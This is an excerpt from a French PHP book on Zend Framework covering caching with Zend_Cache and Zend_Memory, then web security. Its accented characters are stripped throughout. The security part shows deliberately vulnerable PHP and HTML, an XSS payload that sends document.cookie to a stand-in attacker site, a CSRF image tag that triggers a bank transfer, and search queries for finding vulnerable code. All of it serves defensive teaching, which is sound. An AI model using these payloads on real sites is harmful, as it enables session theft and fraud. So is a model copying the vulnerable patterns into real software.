On peut dfinir le cache comme un mcanisme dont le but est dconomiser des ressources en supprimant les traitements redondants. Typiquement, le cache permet dviter de gnrer une page dynamique plusieurs fois, dans la mesure ou celle-ci ne change pas dun appel lautre. Mais on peut aller plus loin avec le cache : tout dabord, en mettant en cache non pas une page, mais une partie de page (cache partiel). Enfin, on retrouve le cache sur plusieurs niveaux : le plus bas niveau concerne la mise en cache du code compil de PHP et le plus haut, la mise en cache des pages. Entre les deux, il est possible de mettre en cache des retours de fonctions, des blocs dinformation ou des objets.

Mises en garde concernant la gestion du cache


Le cache nest en aucun cas un moyen dallger le code dune application. Limplmentation du cache apporte au contraire de nombreuses instructions supplmentaires. Les mcanismes de mise en cache peuvent devenir complexes, tant au niveau du fonctionnement que du paramtrage. Un cache mal matris peut gnrer des effets de bord, tels que figer des informations qui devraient voluer, augmenter le nombre daccs au disque ou aux bases de donnes, gnrant ainsi leffet inverse de celui recherch. Aussi, les tests fonctionnels de lapplication sont plus difficiles raliser avec un ou plusieurs caches que sans. Il est donc important, avant de vouloir faire de la mise en cache, de bien prparer votre politique de gestion du cache et, surtout, de prvoir un moyen de ladministrer (lire son contenu) et de le dsactiver, tout moment. 186
Groupe Eyrolles, 2008

Figure 101

Quelques couches de cache courantes

La figure 10-1 aborde les couches de cache rencontres couramment dans une application : le cache de page permet de mettre en cache le code HTML dune page entire, tandis que le cache partiel permet de mettre un bloc ou une donne provenant par exemple dun retour de fonction. Enfin, il existe aussi des caches dits bas niveau qui rendent persistante la version compile du code PHP. Ici, nous nous intresserons surtout au cache partiel qui est le plus utilis avec le Zend Framework. Rappelons que le but du cache nest en aucun cas de se substituer un algorithme lent parce que mal conu. La durabilit de votre existant dpend directement de la qualit de vos algorithmes, avant toute chose.
RAPPEL Cache dopcode
Les principes de fonctionnement du cache dopcode sont expliqus en annexe F.

Zend_Cache : gestion du cache


est le composant de mise en cache de Zend Framework. Il est organis de manire permettre lutilisation de plusieurs backends, cest--dire plusieurs possibilits de stockage des informations rendre persistantes. Aussi, plusieurs frontaux (frontends) sont par ailleurs disponibles afin dadapter le composant son utilisation.
Zend_Cache

Groupe Eyrolles, 2008

187

10 Performances

Zend Framework - Bien dvelopper en PHP

Figure 102 Diagramme de classes de Zend_Cache

Choisir son frontal et son support de cache


Le support de cache (backend) est directement responsable des performances du composant Zend_Cache ainsi que de la capacit de donnes qui pourront tre mises en cache. Le choix dun support de cache peut dpendre de plusieurs critres : lenvironnement : le support de cache est parfois dpendant dune extension qui nest pas toujours prsente dans tous les environnements citons APC, Memcache ou ZendPlatform ; la quantit de donnes mettre en cache : certains supports de cache mettent par exemple les donnes en mmoire RAM, ce qui limite la capacit du cache. Dautres privilgient le disque ou une base de donnes ; la vitesse de lecture et dcriture recherche : il vous faudra faire un compromis entre vitesse et capacit. Ceux qui ont peu de donnes mettre en cache, mais beaucoup de trafic, ont par exemple tout intrt mettre en cache mmoire.

188

Groupe Eyrolles, 2008

Le tableau suivant donne une liste des supports de cache disponibles et fonctionnels pour Zend_Cache, avec leur utilisation conseille.
Tableau 101 Liste des supports de cache de Zend_Cache Nom du backend Utilisation conseille

Zend_Cache_Backend_File Zend_Cache_Backend_SQLite

Les donnes mises en cache sont stockes dans des fichiers plats. Mthode conseille pour un maximum de portabilit et de capacit pour les donnes mettre en cache. SQLite est une base de donnes embarque. Elle offre de bonnes performances en lecture et ncessite peu de maintenance. Mthode conseille pour stocker une grande quantit de donnes en cache avec de frquents accs en lecture et peu en criture. Mthode qui ncessite la prsence du dmon memcached, qui stocke les donnes en mmoire partage. Utile pour disposer dune mise en cache rapide qui peut tre partage entre plusieurs applications et plusieurs serveurs (cluster). APC (Advanced PHP Cache) est la mthode de mise en cache la plus rapide. Elle ncessite la prsence de lextension APC qui permet de disposer dun cache bas niveau et de la possibilit de mettre des donnes en mmoire. Utile pour mettre peu de donnes en cache mais avec un temps daccs optimal. Attention aux clusters : les donnes sont mises en cache par serveur.
Xcache est un composant stable et efficace pour faire du cache mmoire. Cette mthode est similaire

Zend_Cache_Backend_Memcached

Zend_Cache_Backend_Apc

Zend_Cache_Backend_Xcache Zend_Cache_Backend_ZendPlatform

APC. Utile pour ceux qui utilisent la Zend Platform, outil dvelopp par la socit Zend pour optimiser la maintenance dapplications. La Zend Platform gre elle-mme sa politique de cache. Les donnes sont stockes dans une base MySQL embarque, sous forme de fichiers, ou en mmoire.

Enfin, en fonction des donnes stocker en cache, nous utiliserons plusieurs frontaux dont voici les principaux : Zend_Cache_Core : frontal gnrique utilis par tous les autres frontaux. Cest partir de cette classe quil est galement possible de crer son propre frontal (voir la section sur lutilisation avance) ; Zend_Cache_Frontend_Output : permet de mettre en cache la sortie standard. Utile surtout pour la mise en cache dans des templates ; Zend_Cache_Frontend_Function : permet la mise en cache de retours de fonctions ; Zend_Cache_Frontend_Class : permet la mise en cache dobjets et de mthodes statiques ; Zend_Cache_Frontend_File : permet de mettre en cache des contenus de fichiers avec une forte dpendance au fichier original. Utile par exemple pour les fichiers de configuration. Fonctionne avec les fichiers XML ou INI ; Zend_Cache_Frontend_Page : mme principe que Output mais pour des pages compltes.

Groupe Eyrolles, 2008

189

10 Performances

Zend Framework - Bien dvelopper en PHP

Utilisation de Zend_Cache dans lapplication


T Classe statique

Notre classe Zfbook_Cache est une classe dite statique car elle nest pas destine tre instancie. Elle propose simplement laccs des mthodes statiques qui manipulent Zend_Cache dans un environnement clos et scuris.

Afin de simplifier lutilisation de Zend_Cache dans lapplication, nous avons dcid de crer une classe utilisateur permettant un accs rapide et permanent Zend_Cache. Comme pour presque tout composant du Zend Framework, il est possible dtendre Zend_Cache ou de simplifier son utilisation par la cration dun composant utilisateur. tendre concerne lajout ou la modification dun support de cache ou dun frontal : pour cela il suffit de crer les classes adquates dans les bibliothques utilisateur.

Implmentation de Zfbook_Cache
Cette simplification concerne la cration dune librairie, que nous allons appeler Zfbook_Cache, qui effectue automatiquement le choix du support de cache et son instanciation. Voici une proposition dimplmentation :
Simplification de laccs au cache
<?php /** * Une classe qui simplifie lutilisation du cache */ class Zfbook_Cache { private static $_cache = null; private static $_lifetime = 3600; private static $_cacheDir = null; private static function init() { if (self::$_cache === null) { $frontendOptions = array( 'automatic_serialization' => true, 'lifetime' => self::$_lifetime); $backendOptions = array( 'cache_dir', self::$_cacheDir); try { if (extension_loaded('APC')) { self::$_cache = Zend_Cache::factory( 'Core', 'APC', $frontendOptions, array()); } else { self::$_cache = Zend_Cache::factory( 'Core', 'File', $frontendOptions, $backendOptions); }

190

Groupe Eyrolles, 2008

} catch (Zend_Cache_Exception $e) { throw new Zfbook_Cache_Exception($e); } if (!self::$_cache) { throw new Zfbook_Cache_Exception("No cache backend available."); } } } public static function setup( $lifetime, $filesCachePath = null) { if (self::$_cache !== null) { throw new Zfbook_Cache_Exception("Cache already used."); } self::$_lifetime = (integer) $lifetime; if ($filesCachePath !== null) { self::$_cacheDir = realpath($filesCachePath); } } public static function set($data, $key) { self::init(); return self::$_cache->save($data, $key); } public static function get($key) { self::init(); return self::$_cache->load($key); } public static function clean($key = null) { self::init(); if ($key === null) { return self::$_cache->clean(); } return self::$_cache->remove($key); } public static function getCacheInstance() { if (is_null(self::$_cache)) { throw new Zfbook_Cache_Exception("Cache not set yet."); } return self::$_cache; } }

Groupe Eyrolles, 2008

191

10 Performances

Zend Framework - Bien dvelopper en PHP

Ce code propose une classe statique facilitant laccs au cache. Les avantages et inconvnients de cette mthodologie sont les suivants : la classe de cache Zend_Cache nest charge que si le cache est utilis. De plus, elle est maintenue pendant toute la dure de la requte, ce qui permet une optimisation transparente des ressources ; Zfbook_Cache est lunique classe utiliser pour faire appel au cache, et ses mthodes statiques sont limites au ncessaire. Cela facilite normment lutilisation de ce composant ; le choix du support de cache et lutilisation de Zend_Cache sont automatiques et transparents ; en revanche, cette simplification limite lutilisation du cache ce qui est propos et ne permet pas de bnficier des autres frontaux existants.

Utilisation du cache dans lapplication


Une fois la classe Zfbook_Cache disponible, nous pouvons lutiliser comme bon nous semble. Cela dit, il est important de se donner quelques rgles pour viter toute confusion lorsque lapplication grossira... vous de vous organiser. Voici quelques exemples dans notre application :
ReservationController::listAction()
// Tentative de recherche des rservations depuis le cache $reservations = Zfbook_Cache::get('reservations'); $this->view->cached = (boolean) $reservations; // Les rservations ne sont pas dans le cache, il faut aller // les chercher dans la base de donnes if (!$reservations) { $reservationListTable = new TReservationList(); $reservations = $reservationListTable ->fetchAll()->toArray(); // Insertion des rservations dans le cache Zfbook_Cache::set($reservations, 'reservations'); }

Ce code correspond lappel de la liste des rservations que nous devons afficher. Afin dviter un appel redondant en base pour rcuprer la liste des rservations, nous faisons appel au cache. Dans cet algorithme, la premire chose que nous faisons est dessayer de rcuprer la liste des rservations dans le cache (stocke lors dun prcdent appel de la mme fonction). Si ces informations ne sont pas en cache, alors il faut aller les chercher en base et ne pas oublier de les mettre en cache pour les prochains appels.

192

Groupe Eyrolles, 2008

ReservationController::editAction() et deleteAction()
// suppression du cache pour mise jour Zfbook_Cache::clean('reservations');

Dans notre politique de gestion du cache, il est trs important de mettre jour les informations persistantes lorsque celles-ci changent. Ainsi, nous viterons par exemple dafficher des informations supprimes ou primes. Le rle de cette ligne qui apparat dans les actions de suppression, cration et mise jour des rservations est de vider du cache la liste des rservations, afin quelle soit rgnre au prochain appel de ReservationController::listAction().

Amlioration des performances des composants Zend


Nombre de composants du Zend Framework peuvent utiliser Zend_Cache pour amliorer automatiquement leurs performances. Afin de disposer de cette optimisation, il suffit de leur transmettre une instance de Zend_Cache_Core (ou tout autre frontal spcialis qui en hrite). Cest ce que nous faisons pour certains composants dans le bootstrap (index.php) de lapplication, comme lillustre lexemple suivant :
Attacher Zend_Cache dautres composants (bootstrap)
$cacheInstance = Zfbook_Cache::getCacheInstance(); //(...) // on attache le composant cache Zend_Locale Zend_Locale::setCache($cacheInstance); //(...) // activation du cache des mtadonnes des passerelles Zend_Db_Table_Abstract::setDefaultMetadataCache($cacheInstance); //(...) $translate = new Zend_Translate(//(...)); // activation du cache pour Zend_Translate $translate->setCache($cacheInstance); //(...) // activation du cache pour Zend_Date Zend_Date::setOptions(array('cache' => $cacheInstance));

Attention, ici nous utilisons le mme cache pour tout le monde. Ainsi, le TTL est le mme partout. Ceci ne drange gure notre application, mais dans certains cas, on peut vouloir, par exemple, garder en cache les mtadonnes de la base de donnes plus ou moins longtemps que les informations relatives la locale ou aux dates. Il peut ds lors devenir intressant de cloner lobjet cache principal pour en crer dautres dont le TTL sera modifi.

T TTL

Le TTL est le Time To Live. Cest la dure de vie du cache au-del de laquelle il sera invalid. Ce paramtre est trs complexe dterminer sur des projets critiques, et un cart dune seconde peut avoir un impact considrable. Heureusement, ce nest pas le cas de notre application exemple.

Groupe Eyrolles, 2008

193

10 Performances

Zend Framework - Bien dvelopper en PHP

Notez ainsi que de nombreux objets de Zend Framework utilisent une instance de Zend_Cache_Core pour sautogrer. Pour savoir ce que ces composants mettent exactement en cache, et de quelle manire ils interagissent avec Zend_Cache_Core, il faut consulter les sources du framework ou encore le contenu du cache.

Zend_Memory : gestion de la mmoire


Le but de Zend_Memory est de pouvoir rguler lutilisation de la mmoire alloue lorsquon travaille avec des chanes de caractres. Ce composant est dpendant de Zend_Cache. Concrtement, certaines chanes peuvent occuper beaucoup despace mmoire. Lorsque la limite de capacit fixe est atteinte, Zend_Memory fait appel Zend_Cache pour le stockage de la chane.

Figure 103

Diagramme de classes de Zend_Memory

Exemple pratique
Comme pour Zend_Cache, certains composants de Zend Framework acceptent dagrger un objet Zend_Memory afin de sautogrer grce lui. Cest le cas de Zend_Pdf, sur lequel vous trouverez plus de dtails au chapitre 13.
Exemple avec Zfbook_Controller_ActionHelpers_ExportReservations_Pdf
$backEnd = Zfbook_Cache::getCacheInstance()->getBackend(); $memory = new Zend_Memory_Manager($backEnd)); $pdf->setMemoryManager($memory); $memory->setMemoryLimit(20000);

194

Groupe Eyrolles, 2008

Zend_Pdf va utiliser lobjet Zend_Memory pour y stocker la chane reprsentant les donnes binaires PDF. Dans notre exemple, lorsque ces donnes dpassent 20 Ko, alors elles sont stockes dans le cache pour librer la mmoire que consomme lobjet Zend_Pdf ce moment-l. Cest astucieux, mais cela ne fonctionne quavec les chanes de caractres.

Amliorer les performances gnrales de lapplication


Voici quelques optimisations que lon peut apporter une application conue avec Zend Framework afin damliorer ses performances. Ces quelques astuces sont troitement en relation avec le chapitre 15 de cet ouvrage (Utilisation avance des composants). Une application Zend Framework dveloppe dans les rgles de lart possde de nombreux fichiers, ainsi que de nombreuses classes qui font lobjet de multiples instanciations chaque requte HTTP lance. Lesprit du dveloppement Zend Framework fait un peu penser celui dune application Java... Mais sur ce terrain, Java possde deux avantages : la compilation et la persistance des objets entre les requtes (EJB stateful). Une application Java sera lente charger, mais pourra potentiellement tre trs rapide grce ces caractristiques. Cest sur ce terrain-l que PHP pche et que nous nous devons doptimiser. En connaissance de cause, voici nos objectifs : solliciter le moins possible linterprteur PHP, cest--dire rendre persistant le code PHP compil ; rduire au maximum les appels disques, notamment dus aux includes de nombreux fichiers ; rduire au maximum les appels la base de donnes et aux sources de donnes, rle en grande partie tenu par le cache ; simuler la persistance des objets qui sont longs charger ; optimiser lenvironnement dexcution.

Les bons rflexes


Mettre en place un cache dopcode de manire rendre persistant le code compil de PHP. Pour cela nous conseillons lextension APC qui est aborde en annexe F. Pour rduire les appels disques, une astuce consiste mettre le code le plus utilis dans un gros fichier. Vous aurez peut-tre besoin dun profileur pour dterminer quels fichiers vous devrez fusionner (le profileur est abord au chapitre 15) .
Groupe Eyrolles, 2008

195

10 Performances

Zend Framework - Bien dvelopper en PHP

Les appels disques peuvent tre sensiblement rduits en activant la fonctionnalit dautoload. En effet, les fichiers sont alors chargs uniquement lorsque ncessaire, et lon est ainsi sr quun fichier ne sera jamais charg si la classe quil contient nest pas utilise . Les appels la base de donnes et aux sources de donnes sont optimiss par le cache, par un bon paramtrage du SGBD et par des requtes optimises. L aussi, le profileur sera un outil de choix pour dtecter les requtes lentes (voyez le chapitre 14). La simulation de la persistance des objets longs charger se fait en PHP par la srialisation... et la persistance en elle-mme peut tre assure par le cache. Cela consiste tout simplement mettre ces objets en cache, mais attention, les objets sont de toute faon rinstancis chaque requte, car il nexiste pas encore en PHP un moyen davoir des objets stateful. Lenvironnement dexcution aura lui aussi un impact important sur les performances. Historiquement, PHP reste trs performant sous Unix/Linux. Une bonne compilation et surtout un choix judicieux du systme de fichiers pour des accs frquents de petits fichiers en lecture (forte densit di-nuds [i-node], etc.) rendront service aux performances de lapplication. Notons galement que PHP dispose dun systme de stockage et de packaging appel PHAR, qui permettra terme doptimiser les applications contenant de nombreux fichiers.

Compiler Zend Framework dans APC


RAPPEL APC
Cette astuce est directement lie APC et son fonctionnement. Tout cela est dtaill en annexe F.

Imaginez que vous allez ouvrir votre serveur, maintenant, pour un passage en production dune application Zend Framework. Ds son ouverture, vous assisterez un dferlement de requtes, et il parat clair que votre serveur ne sera pas en mesure de toutes les traiter. Nous vous proposons ainsi, avant douvrir votre serveur sur lextrieur, de compiler toutes les sources de Zend Framework dans APC et, accessoirement, pourquoi pas toutes les sources de votre application. Compiler Zend Framework en entier dans APC nest pas complexe. Cest rapide, et cest dune efficacit remarquable pour les serveurs forte charge. Voici un script le permettant :

196

Groupe Eyrolles, 2008

Compiler Zend Framework dans APC


<?php class MyFilterIterator extends FilterIterator { public function accept() { return (substr($this->current(), - 3) == 'php'); } } $rdi = new RecursiveDirectoryIterator('path/to/zf'); $rii = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::LEAVES_ONLY); foreach (new MyFilterIterator($rii) as $file) { apc_compile_file($file); }

grand renfort de SPL, Standard PHP Library (dont vous trouverez des informations en annexe C), ce script permet de charger la mmoire APC avec tout le Zend Framework. La figure 10-4 dtaille les rsultats.

Figure 104 Zend Framework entirement compil dans APC

Groupe Eyrolles, 2008

197

10 Performances

Zend Framework - Bien dvelopper en PHP

Nous pouvons noter qu lheure actuelle, la compilation de toute la source de Zend Framework prend quelques secondes (ceci est trs relatif en fonction du matriel), et occupe environ 40 Mo de mmoire RAM. Selon le principe du cache dopcode, tous les futurs appels une classe Zend Framework se feront directement depuis la mmoire, et non plus depuis le disque. Le gain en performance est souvent norme. Ceci peut dailleurs se reprer grce aux graphes quAPC fournit. Il est ainsi possible de savoir quand le cache a sauv une opration de chargement grce aux informations cache hit et cache miss (voir la figure 10-5).

Figure 105 Statistiques hits et misses de notre application Zend Framework

198

Groupe Eyrolles, 2008

En rsum
Nous venons de voir comment Zend Framework rpond aux problmatiques de performance que peut connatre une application web dans sa vie. Zend_Cache propose une panoplie doptions, et chacun y trouvera son compte. Beaucoup de composants du Zend Framework acceptent dailleurs un tel objet afin doptimiser leur impact sur les performances. videmment, ce sujet est bien plus vaste que Zend Framework seul. La connaissance et la matrise du serveur web, du rseau et du protocole HTTP apportent des plus non ngligeables dans la gestion de la monte en charge.

Groupe Eyrolles, 2008

199

10 Performances

chapitre

11

Groupe Eyrolles, 2008

Scurit

SOMMAIRE

B Valider et filtrer des donnes

La scurit est un problme complexe et permanent. Elle parat primordiale en thorie, mais non prioritaire en pratique. La politique de scurit dune application peut devenir un sujet mtaphysique entre techniciens et dcideurs, do limportance dy passer un minimum de temps pour un maximum de fiabilit.

B Comprendre les enjeux


de la scurit

B Comprendre les rgles


de scurit essentielles COMPOSANTS

B Zend_Validate B Zend_Filter B Zend_Session


MOTS-CLS

B scurit B validation B filtrage B XSS B injection B session

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Ce chapitre explique les grands axes de la scurit dune application web. Pour cela, nous prsenterons diffrents types dattaques classiques et la manire de sen protger avec des composants Zend Framework relatifs la scurit, tels que Zend_Validate. Nous verrons aussi limportance des cookies et des sessions, ainsi que la manire de les scuriser.

En quoi consiste la scurit sur le Web ?


La scurit doit faire partie intgrante du projet web. Les rgles sont peu nombreuses et trs simples ( comprendre). Il sagit de : valider tous les points dentre de lapplication ; protger systmatiquement par des caractres dchappement toute donne afficher provenant initialement de lextrieur ; matriser lapplication en tant que bote noire recevant des informations en entre et renvoyant des informations en sortie.
T Web et Internet

Internet, cest lInternational Network : un rseau gant dordinateurs (un ensemble de rseaux, plutt). Le Web est une application dInternet qui englobe tout ce qui a trait laffichage de pages dinformations dans un navigateur.

Il est pour cela essentiel de connatre le fonctionnement du Web en gnral, en partant de la requte DNS (Domain Name System) jusquau traitement de linformation sur la machine hte serveur. La connaissance du protocole HTTP est indispensable pour comprendre rellement le fonctionnement du Web et les concepts de la scurit. Il faut aussi se dire quune personne malveillante peut attaquer lapplication tout moment. Il convient donc de se mettre sa place et dessayer de pntrer sa propre application, ceci tout en la construisant. Aussi, des outils automatiss daudit de code comme PHPCodeSniffer sont utiliss pour vrifier que le code crit ne manque pas aux rgles lmentaires de scurit. Un pirate informatique tentera de sinfiltrer par les portes les plus connues, ainsi il nest pas ncessaire dtre paranoaque pendant le dveloppement, mais simplement dtre averti. Google est le meilleur ami du pirate, en particulier Google Code Search. Des requtes comme : lang:php (echo|print)\s\$_(GET|POST|COOKIE|REQUEST|SERVER) lang:php query\(.*\$_(GET|POST|COOKIE|REQUEST).*\) lang:php (include|include_once|require|require_once).*\
X $_(GET|POST|COOKIE|REQUEST)

laissent apparatre un nombre consquent dapplications vulnrables.

202

Groupe Eyrolles, 2008

Rgles de scurit lmentaires


Lapplication web doit tre vue comme une bote noire. Des informations entrent et dautres en ressortent. Parmi elles, certaines sont destines tre affiches sur lcran du client. Il est trs important de scruter, analyser, valider ou rejeter toutes les informations qui entrent dans lapplication. Celles-ci proviennent majoritairement des tableaux superglobaux. Ainsi, $_GET, $_POST, a fortiori $_REQUEST, $_COOKIE ou encore $_FILES peuvent tre manipuls par le client, et donc par un pirate potentiel. Dans une moindre mesure, il faut aussi surveiller $_SERVER, car certains de ses paramtres sont modifiables, comme PHP_SELF, HTTP_HOST ou HTTP_REFERER. linverse, votre application doit systmatiquement veiller ce quelle expdie au client, notamment ce qui est destin laffichage. Le client web est dans 99 % des cas un navigateur web, et dans 90 % des cas (en gros), JavaScript y est activ. JavaScript est une technologie cliente puissante, qui permet damliorer sensiblement linterface propose par lapplication web ses clients (aux utilisateurs), mais cest double tranchant. Cette technologie peut accder aux cookies du navigateur, modifier le contenu de sa page sans que lutilisateur ne sen aperoive, et mme transformer le poste client en proxy, en ouvrant des connexions rseau vers lextrieur, voire lintrieur (intranet), mettant en danger le client et tout son rseau interne. Ainsi, une mauvaise validation de la sortie (ce qui sera affich lcran) peut mettre lutilisateur en danger en permettant lexcution dun code JavaScript dans son navigateur. Ceci combin aux failles de scurit de certains navigateurs, et le pire peut trs vite arriver : vol de donnes, escroquerie par hameonnage (phishing), usurpation didentit, serveur zombie (servant de relais une attaque plus globale), etc.

Solutions de scurit de Zend Framework


Les validateurs
Les validateurs sont des composants permettant de valider syntaxiquement des donnes. En gnral, on ajoute les validateurs aux composants Zend_Form_Elements, afin que ceux-ci soient tous scruts et valids lors de lenvoi du formulaire. Il existe de nombreux validateurs dans Zend Framework. Ils sont reprsents par un espace Zend_Validate_* tandis que la classe Zend_Validate sert les chaner. Les validateurs proposent
Groupe Eyrolles, 2008

VOIR AUSSI Zend_Form


Le chapitre 13 introduit le composant Zend_Form qui est capable de se coupler avec Zend_Validate et Zend_Filter. En effet, la gestion de formulaires est directement concerne par les oprations de validation et de filtrage ncessaires la scurit des donnes entrantes et sortantes.

203

11 Scurit

Zend Framework - Bien dvelopper en PHP

une mthode isValid() qui retourne un boolen getMessages(), qui retourne les messages derreur ventuels, et getErrors(), qui retourne un code derreur.
Exemple simple dutilisation de Zend_Validate
<?php $chaine = new Zend_Validate(); $chaine->addValidator(new Zend_Validate_Int()) ->addValidator(new Zend_Validate_GreaterThan(8)); if ($chain->isValid($data)) { // la donne est valide : cest un entier suprieur 8 } else { // itration sur les messages derreur foreach ($chaine->getMessages() as $message) { echo "$message\n"; } }

Les filtres
Les filtres agissent comme les validateurs, lexception que ceux-ci vont modifier la donne dentre, au lieu de simplement retourner un boolen.
Exemple simple dutilisation de Zend_Filter ALTERNATIVE Filtres et validateurs
La documentation de Zend Framework vous renseignera sur tous les autres types de filtres et validateurs disponibles. Il en existe pour toutes sortes de donnes : adresses mail, chanes, entiers, etc.
$chaine = new Zend_Filter(); $chaine->addFilter(new Zend_Filter_Alpha()) ->addFilter(new Zend_Filter_noTags()); $message = $chaine->filter($_POST['message']); // $message ne contient plus de chiffres, ni de tags

Les attaques courantes


Depuis quelques annes, la scurit est devenue un enjeu primordial pour les socits, en particulier pour les entreprises qui grent de largent ou des donnes confidentielles, comme les banques, les socits de crdit, les assurances, etc. Ainsi, des socits spcialises dans la scurit des applications web ont vu le jour et leurs rapports sont accablants : presque huit applications sur dix dployes sur le Web possdent au moins une faille de scurit plus ou moins importante.

204

Groupe Eyrolles, 2008

Notre ouvrage na pas pour vocation daborder la scurit en dtail, mais nous avons jug ce chapitre ncessaire. Le lecteur pourra par la suite interroger son moteur de recherche favori, la recherche de termes comme XSS, CSRF, injection SQL, HTTP Response Splitting (sparation de rponses HTTP), cookie stealing (vol de cookie), et constater de lui-mme lampleur de ce phnomne qui ne cesse de crotre.

RFRENCE Scurit PHP


Pour tout savoir sur la scurisation dune application en PHP 5 et MySQL, consultez louvrage suivant : R D. Seguy, P. Gamache, Scurit PHP 5 et MySQL, Eyrolles, 2007

Figure 111 Scnario dune attaque de type XSS/CSRF

Nous allons ici prsenter succinctement quelques failles de scurit les plus courantes et voir comment Zend Framework peut aider sen protger.

Le Cross Site Scripting (XSS)


Le Cross Site Scripting consiste excuter arbitrairement du code JavaScript dans le navigateur dune victime. Cela permet entre autres de : changer la destination des formulaires de la page ; accder aux cookies, et donc aux donnes prives de la victime ; ouvrir une connexion vers un site en se faisant passer pour la victime ; modifier le contenu de la page, en totalit ou en partie ; rediriger lutilisateur ; avec certaines versions du navigateur Internet Explorer, il est possible daccder au disque dur de la victime et de la voler massivement. Le plus gros danger vient sans doute du fait que la victime, dans la plupart des cas, ne saperoit strictement de rien.

Groupe Eyrolles, 2008

205

11 Scurit

Zend Framework - Bien dvelopper en PHP

Attaque XSS
Un code vulnrable XSS
<html> <title>Hello!</title> Coucou <?php echo $_GET['name'] ?><br> Bienvenue chez nous ! ... </html>

Ce code est exploit si le pirate introduit, dans la variable name, la valeur


<script>window.open("http://www.hacking-site.com/collectcookie.php?cookie="%2Bdocument.cookie)</script>.

Le code final devient alors :


<html> <title>Hello!</title> Coucou <script>window.open("http://www.hacking-site.com/ collect-cookie.php?cookie="%2Bdocument.cookie)</script><br> Bienvenue chez nous ! ... </html>

Immdiatement, les cookies de la victime pour ce domaine sont vols et redirigs vers le site du pirate (http://www.hacking-site.com, pour lexemple), qui va les enregistrer et pouvoir se faire passer pour la victime, ou lui voler des informations personnelles, comme un numro de carte de crdit par exemple.

Les protections
Rptons le : il faut protger, avec des caractres dchappement, toutes les chanes provenant de lextrieur de lapplication et destination de laffichage dans le navigateur, de manire viter lintroduction de code JavaScript. Pour ce faire, le composant Zend_View, responsable de laffichage des donnes (la vue), propose une mthode escape(). Son utilisation est trs simple :
application/views/scripts/welcome.phtml
<?php echo $this->translate("Bienvenue"); echo $this->escape($this->login); ?>

Mme si notre application ne demande apparemment pas lutilisateur de senregistrer, nous prenons quand mme la peine de protger son identifiant (login) avec cette mthode. Si, plus tard, nous ajoutions cette fonctionnalit denregistrement, un utilisateur malveillant pourrait alors 206
Groupe Eyrolles, 2008

tenter dinsrer du JavaScript dans le champ demandant son login, et celui-ci serait alors affich de manire brute lcran. de la vue utilise par dfaut la fonction PHP Ainsi, afin dviter dventuelles failles concernant les jeux de caractres, il faut spcifier la vue le jeu de caractres utilis pour laffichage, car par dfaut, cest iso-8859-1 qui sera utilis.
escape() htmlspecialchars().

La mthode

URL Failles XSS


Un bon point de dpart pour comprendre XSS (mais aussi dautres types de failles) est le site de Chris Shiflett. Vous trouverez un article relatif aux failles avec exploitation du jeu de caractres lURL suivante : B http://shiflett.org/blog/2005/dec/ google-xss-example Si vous ne vous sentez pas trs laise avec la scurit web, nous vous conseillons de fouiller le site et le blog de Chris en profondeur.

Notre application utilisant UTF-8, il faut ainsi crire :


Passage du jeu de caractres dchappement la vue index.php
$view = new Zend_View(); $view->setEncoding('UTF-8');

Ainsi, la fonction dchappement utilisera ce jeu de caractres. Pour changer la fonction dchappement, il faut utiliser setEscape() sur la vue. En plus de protger les chanes affiches par une fonction dchappement, il convient de vrifier que les chanes dentre ne contiennent pas de caractres suspects. Ainsi, si nous demandons aux utilisateurs pour quel usage il veulent rserver une salle, il est fort peu probable quils aient besoin des caractres < ou > pour donner leur rponse. De mme, il y a peu de chances que dcrire lusage dune salle ncessite plus de 25 caractres. Ces suggestions sont simples mettre en place et sont la moindre des choses que vous puissiez faire pour la scurit : cadrez les utilisateurs et ne les laissez pas faire ce quils veulent de votre application (et en particulier de vos formulaires).
Scurisation du formulaire Zfbook/form/reservation.php
$usage = new Zend_Form_Element_Text('usage'); $usageValidators = array(new Zend_Validate_StringLength(0, 25)); $form->addElement($usage);

SAVOIR Filtres de vue


Utiliser setEscape() sur toutes les variables peut vite devenir pnible. Heureusement, Zend_View possde un mcanisme de filtres permettant dautomatiser cette tche, ce que nous abordons dans les chapitres 6 et 7 (MVC avanc).

Le Cross Site Request Forgery (CSRF)


Le Cross Site Request Forgery (CSRF) ou sea surf consiste faire excuter une requte HTTP par une victime, son insu. Cette requte va alors dclencher un traitement sur un site quelconque, action qui ne devrait en thorie tre dclenche quaprs un clic, ou une procdure didentification.

REMARQUE CSRF + XSS


Le couple dattaques CSRF/XSS est particulirement dtonnant, et peut mettre mal une application en quelques heures, en volant de surcrot massivement tous ses utilisateurs. MySpace a t victime de telles failles en octobre 2006. Pour plus dinformations, consultez : B http://en.wikipedia.org/wiki/Samy_(XSS)

Groupe Eyrolles, 2008

207

11 Scurit

Zend Framework - Bien dvelopper en PHP

Attaque CSRF
Code dun formulaire vulnrable
<form method="get" action="transfert.php"> <input type="hidden" name="from" value="12345"> Transfert dargent depuis le compte 12345 vers : <select name="to"> <option value="98765">Compte courant n=1</option> <option value="43210">Compte courant n=2</option> </select> Montant : <input type="text" name="montant"> <input type="submit"> </form>

Pour exploiter un tel formulaire, un pirate va par exemple crer un profil sur un forum extrmement frquent et va tenter daffecter limage suivante son profil :
Code dexploitation
<img src="banktransfert.com/transfert.php?from=88888&to=11111&montant=9999">

Le navigateur dun visiteur de ce forum va donc envoyer une requte contrefaite (forged), et dclencher un transfert dargent, son insu, depuis un compte choisi par le pirate, vers un compte choisi par le pirate, et dune somme choisie, elle aussi, par le pirate. En effet, lorsque le parseur HTML dun navigateur rencontre certaines balises ou certains attributs, tels que href=, il effectue alors une autre requte HTTP, comme si le client avait alors entr lURL du lien href= dans son navigateur. Une premire scurit possible consiste passer le formulaire de la mthode GET la mthode POST. Malheureusement, JavaScript est capable denvoyer des formulaires POST, et ainsi le pirate naura qu piger une victime vers une page contenant un JavaScript (XSS) qui cre un formulaire et lenvoie immdiatement. Il pourra mme crer ce formulaire dans un cadre HTML (frame) invisible. Le CSRF est une faille qui exploite la confiance qua un site envers ses utilisateurs. Dites-vous bien que, si vous recevez une requte HTTP sur votre serveur, rien nindique que celle-ci provient du clic volontaire dun gentil utilisateur derrire son ordinateur , de mme que rien nindique que les variables quelle contient sont lgitimes. Il peut tout fait sagir dun robot (une machine quelconque sur le rseau), voire dun utilisateur pig par XSS et ne se rendant compte de rien. Lanalyse des logs du serveur web via des outils spcialiss est trs utile pour dtecter les CSRF.

208

Groupe Eyrolles, 2008

